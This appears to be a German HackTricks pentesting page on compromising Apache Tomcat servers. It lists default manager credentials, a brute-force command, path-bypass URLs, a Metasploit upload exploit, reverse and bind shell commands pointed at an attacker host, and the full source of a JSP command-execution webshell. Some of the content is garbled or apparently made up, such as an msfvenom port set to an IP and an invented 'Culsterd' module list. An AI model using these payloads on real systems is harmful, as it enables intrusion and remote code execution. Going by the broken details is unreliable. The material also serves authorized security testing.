17 KiB
Tomcat
Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und hacktricks-cloud repo einreichen.
Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch und findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. Probieren Sie es noch heute kostenlos aus.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Entdeckung
- Es läuft normalerweise auf Port 8080
- Gängiger Tomcat-Fehler:
Enumeration
Versionsidentifizierung
Um die Version von Apache Tomcat zu finden, kann ein einfacher Befehl ausgeführt werden:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Dies sucht nach dem Begriff "Tomcat" auf der Indexseite der Dokumentation und zeigt die Version im Titel-Tag der HTML-Antwort an.
Speicherort der Manager-Dateien
Die genaue Position der Verzeichnisse /manager
und /host-manager
zu identifizieren ist entscheidend, da ihre Namen geändert werden könnten. Eine Brute-Force-Suche wird empfohlen, um diese Seiten zu finden.
Benutzernamen-Enumeration
Bei Tomcat-Versionen älter als 6 ist es möglich, Benutzernamen durch Enumeration zu ermitteln:
msf> use auxiliary/scanner/http/tomcat_enum
Standardanmeldeinformationen
Das Verzeichnis /manager/html
ist besonders sensibel, da es das Hochladen und Bereitstellen von WAR-Dateien ermöglicht, was zur Ausführung von Code führen kann. Dieses Verzeichnis ist durch eine grundlegende HTTP-Authentifizierung geschützt, wobei gängige Anmeldeinformationen wie folgt lauten:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Diese Anmeldeinformationen können mit dem folgenden Befehl getestet werden:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Ein weiteres bemerkenswertes Verzeichnis ist /manager/status
, das die Tomcat- und Betriebssystemversion anzeigt und bei der Identifizierung von Schwachstellen hilft.
Brute-Force-Angriff
Um einen Brute-Force-Angriff auf das Manager-Verzeichnis zu versuchen, kann man Folgendes verwenden:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Zusammen mit der Einstellung verschiedener Parameter in Metasploit, um einen bestimmten Host anzugreifen.
Häufige Schwachstellen
Passwort-Backtrace-Offenlegung
Der Zugriff auf /auth.jsp
kann unter günstigen Umständen das Passwort in einem Backtrace offenlegen.
Doppelte URL-Codierung
Die Schwachstelle CVE-2007-1860 in mod_jk
ermöglicht eine doppelte URL-Codierung für den Pfadüberlauf, wodurch ein unbefugter Zugriff auf die Management-Schnittstelle über eine speziell erstellte URL ermöglicht wird.
Um auf das Management-Web von Tomcat zuzugreifen, gehen Sie zu: pathTomcat/%252E%252E/manager/html
/examples
Apache Tomcat-Versionen 4.x bis 7.x enthalten Beispiel-Skripte, die anfällig für Informationslecks und Cross-Site-Scripting (XSS)-Angriffe sind. Diese umfassend aufgelisteten Skripte sollten auf unbefugten Zugriff und potenzielle Ausnutzung überprüft werden. Weitere Informationen finden Sie hier
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Pfadüberlauf-Exploit
In einigen anfälligen Konfigurationen von Tomcat können Sie mit dem Pfad /..;/
auf geschützte Verzeichnisse in Tomcat zugreifen.
So können Sie beispielsweise möglicherweise auf die Tomcat-Manager-Seite zugreifen, indem Sie auf www.vulnerable.com/lalala/..;/manager/html
zugreifen.
Eine andere Möglichkeit, geschützte Pfade mit diesem Trick zu umgehen, besteht darin, http://www.vulnerable.com/;param=value/manager/html
aufzurufen.
RCE
Schließlich können Sie, wenn Sie Zugriff auf den Tomcat Web Application Manager haben, eine .war-Datei hochladen und bereitstellen (Code ausführen).
Einschränkungen
Sie können nur ein WAR bereitstellen, wenn Sie über ausreichende Berechtigungen verfügen (Rollen: admin, manager und manager-script). Diese Details finden Sie normalerweise in der Datei tomcat-users.xml, die in der Regel unter /usr/share/tomcat9/etc/tomcat-users.xml
definiert ist (es variiert je nach Version) (siehe POST-Abschnitt).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
Metasploit ist ein leistungsstolles Framework für Penetrationstests und Exploit-Entwicklung. Es bietet eine Vielzahl von Werkzeugen und Modulen, die bei der Identifizierung von Schwachstellen und der Durchführung von Angriffen auf Systeme helfen können. Metasploit unterstützt verschiedene Exploit-Techniken wie Remote Code Execution, Denial-of-Service-Angriffe und das Ausnutzen von Schwachstellen in Netzwerkdiensten.
Das Framework ermöglicht es Hackern, Schwachstellen in Systemen zu identifizieren und auszunutzen, um Zugriff auf diese Systeme zu erlangen. Metasploit bietet eine umfangreiche Datenbank mit Exploits, Payloads und Shellcodes, die für verschiedene Betriebssysteme und Anwendungen entwickelt wurden.
Mit Metasploit können Hacker auch Social Engineering-Angriffe durchführen, bei denen sie versuchen, Benutzer zur Ausführung schädlicher Aktionen zu verleiten. Das Framework bietet auch Funktionen zur Überwachung und Verwaltung von gehackten Systemen.
Metasploit ist ein äußerst vielseitiges Tool, das von Hackern auf der ganzen Welt eingesetzt wird. Es bietet eine umfassende Sammlung von Exploits und Techniken, die bei Penetrationstests und Sicherheitsaudits eingesetzt werden können.
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Erstellen Sie das WAR-Datei, um es bereitzustellen:
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Lade die Datei
revshell.war
hoch und greife darauf zu (/revshell/
):
Bind- und Reverse-Shell mit tomcatWarDeployer.py
In einigen Szenarien funktioniert dies nicht (zum Beispiel bei alten Versionen von sun)
Herunterladen
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Reverse Shell
Ein Reverse Shell ist eine Technik, bei der ein Angreifer eine Verbindung zu einem verwundbaren System herstellt und eine Shell-Sitzung auf diesem System öffnet. Im Gegensatz zu einer normalen Shell-Sitzung, bei der der Benutzer eine Verbindung zu einem entfernten System herstellt, ermöglicht ein Reverse Shell dem Angreifer, eine Verbindung von einem verwundbaren System zu seinem eigenen System herzustellen.
Ein Reverse Shell-Skript wird normalerweise auf dem verwundbaren System ausgeführt und stellt eine Verbindung zum Angreifer her. Sobald die Verbindung hergestellt ist, kann der Angreifer Befehle an das verwundbare System senden und die Kontrolle übernehmen.
Die Verwendung eines Reverse Shells kann für verschiedene Zwecke nützlich sein, wie zum Beispiel das Umgehen von Firewalls oder das Ausnutzen von Sicherheitslücken in einem System. Es ist jedoch wichtig zu beachten, dass die Verwendung eines Reverse Shells illegal ist, es sei denn, sie erfolgt im Rahmen einer autorisierten Penetrationstestaktivität.
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind-Shell
Eine Bind-Shell ist eine Art von Remote-Shell, die auf einem bestimmten Port auf einem Zielrechner lauscht und eine Verbindung zu einem Angreifer herstellt, sobald dieser Port erreicht wird. Sobald die Verbindung hergestellt ist, kann der Angreifer Befehle auf dem Zielrechner ausführen und die Kontrolle über das System übernehmen.
Um eine Bind-Shell zu erstellen, muss der Angreifer eine Schwachstelle im Zielrechner ausnutzen, um eine Backdoor zu installieren. Diese Backdoor öffnet einen bestimmten Port und wartet auf eine eingehende Verbindung. Sobald die Verbindung hergestellt ist, wird eine Shell-Sitzung zwischen dem Angreifer und dem Zielrechner aufgebaut.
Die Bind-Shell ist eine beliebte Technik bei Penetrationstests und Hacking-Angriffen, da sie dem Angreifer eine direkte Kontrolle über das System ermöglicht. Es ist jedoch wichtig zu beachten, dass der Einsatz einer Bind-Shell illegal ist, es sei denn, er erfolgt im Rahmen einer autorisierten Sicherheitsüberprüfung.
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Verwendung von Culsterd
Culsterd ist ein Werkzeug, das speziell für die Durchführung von Angriffen auf Tomcat-Server entwickelt wurde. Es bietet verschiedene Funktionen, die bei der Pentest-Phase hilfreich sein können.
Installation
Um Culsterd zu installieren, können Sie den folgenden Befehl verwenden:
git clone https://github.com/hatRiot/clusterd.git
Verwendung
Nach der Installation können Sie Culsterd mit dem folgenden Befehl ausführen:
./clusterd.py
Culsterd bietet verschiedene Module, die für verschiedene Angriffsszenarien verwendet werden können. Einige der verfügbaren Module sind:
-
tomcat_enum
: Dieses Modul ermöglicht es Ihnen, Informationen über den Tomcat-Server zu sammeln, wie z.B. die Version, installierte Anwendungen und Benutzerinformationen. -
tomcat_bypass
: Mit diesem Modul können Sie versuchen, die Zugriffsbeschränkungen des Tomcat-Servers zu umgehen, um auf geschützte Ressourcen zuzugreifen. -
tomcat_deploy
: Mit diesem Modul können Sie eine bösartige Webanwendung auf dem Tomcat-Server bereitstellen. -
tomcat_shell
: Dieses Modul ermöglicht es Ihnen, eine interaktive Shell auf dem Tomcat-Server zu öffnen. -
tomcat_persistence
: Mit diesem Modul können Sie eine persistente Backdoor auf dem Tomcat-Server einrichten.
Beispiel
Hier ist ein Beispiel für die Verwendung des tomcat_enum
-Moduls:
./clusterd.py tomcat_enum -t <Ziel-IP> -p <Ziel-Port>
Dieses Beispiel führt eine Enumeration des Tomcat-Servers auf der angegebenen Ziel-IP und dem Ziel-Port durch.
Weitere Informationen
Weitere Informationen zur Verwendung von Culsterd und den verfügbaren Modulen finden Sie in der offiziellen Dokumentation.
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Manuelle Methode - Webshell
Erstellen Sie index.jsp mit diesem Inhalt:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Sie können auch dies installieren (ermöglicht das Hochladen, Herunterladen und Ausführen von Befehlen): http://vonloesch.de/filebrowser.html
Manuelle Methode 2
Holen Sie sich eine JSP-Webshell wie diese und erstellen Sie eine WAR-Datei:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Der Name der Tomcat-Anmeldeinformationen-Datei lautet tomcat-users.xml.
find / -name tomcat-users.xml 2>/dev/null
Andere Möglichkeiten, Tomcat-Anmeldeinformationen zu sammeln:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Andere Tomcat-Scanning-Tools
Referenzen
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch und findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. Probieren Sie es noch heute kostenlos aus .
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersecurity-Unternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version des PEASS oder HackTricks als PDF-Download haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und hacktricks-cloud repo einreichen.